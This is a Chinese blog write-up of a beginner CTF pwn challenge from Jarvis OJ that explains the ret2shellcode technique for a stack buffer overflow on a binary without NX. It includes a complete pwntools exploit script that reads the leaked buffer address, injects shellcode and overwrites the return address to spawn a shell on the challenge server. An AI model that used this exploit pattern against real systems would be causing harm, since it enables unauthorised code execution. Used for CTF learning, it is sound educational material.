zoukankan      html  css  js  c++  java
  • 记录一次入门pwn题--ret2shellcode

    ret2shellcode

     

    题目是在jarvis OJ上的

     

     

    题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5

    一道非常典型的shellcode题,话不多说,直接开整

    首先我们还是先要nc一下,看一下出题人给我们整了什么活

     嗯?给了一个地址,没有其他信息了

    那么我么用pwntools的checksec查看一下开启了哪些保护,可以看到没有开启NX保护,大致可以猜到可以利用shellcode来获取flag

    根据流程,接下来放到ida里查看伪代码:

    发现一个vulnerable_function()  翻译过来就是漏洞函数

    到这里也很容易看出开始nc时得到的内存地址就是buf的地址,所以思路就来了,只要可以获取这段地址,插入shellcode,覆盖掉函数的返回地址,就可以成功pwn掉。

     

    点开buf,也可以看到buf的大小是0x88+0x04(32位+4 64位+8)

     

     

     关于为什么是要覆盖掉函数的返回地址,可以看这张图,前提是对函数调用时的栈内变化有所了解。

    如果看不懂的话建议还是先学习一下函数调用栈,推荐教程 https://zhuanlan.zhihu.com/p/25816426  写的很棒,(我也看的不是很懂,一起学吧

    下面我们来构造exp:

    首先分析一下,这个程序是会输出buf的地址的,所以我们要先接受这个地址,这就可以用到我们的pwntools的函数recvuntil()

    解释一下,开始先把%p之前的多余字符吸收掉,不用管,然后用 索引取值,取出地址(skrskrskr~)

     接下来我们构造payload:

    shellcode = asm(shellcraft.sh())

    payload  = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(之前获得的地址)

    完整版exp:

    from pwn import *
    debug = 0 if debug:   a = process('./level1.80eacdcd51aca92af7749d96efad7fb5') else:   a = remote('pwn2.jarvisoj.com',9877) shellcode = asm(shellcraft.sh()) a.recvuntil("What's this:") addr_buf = int(a.recvuntil("?")[:-1],16) payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr_buf)
    a.sendline(payload) a.interactive()

    运行脚本:

     记录日期:2020-07-06 21:10:48

     

  • 相关阅读:
    ANSYS文件读写
    ANSYS导出图片
    由面网格拉伸为体网格
    ANSYS由结点生成单元
    photoshop做gif图片的问题
    matlab输出没有白边的图片
    关于ANSYS绘图显示结果范围的问题
    ansys的建模基于的坐标系问题
    ANSYS分析轴对称问题
    ANSYS取消坐标轴显示,关闭局部坐标系
  • 原文地址:https://www.cnblogs.com/nofury/p/13257925.html
Copyright © 2011-2022 走看看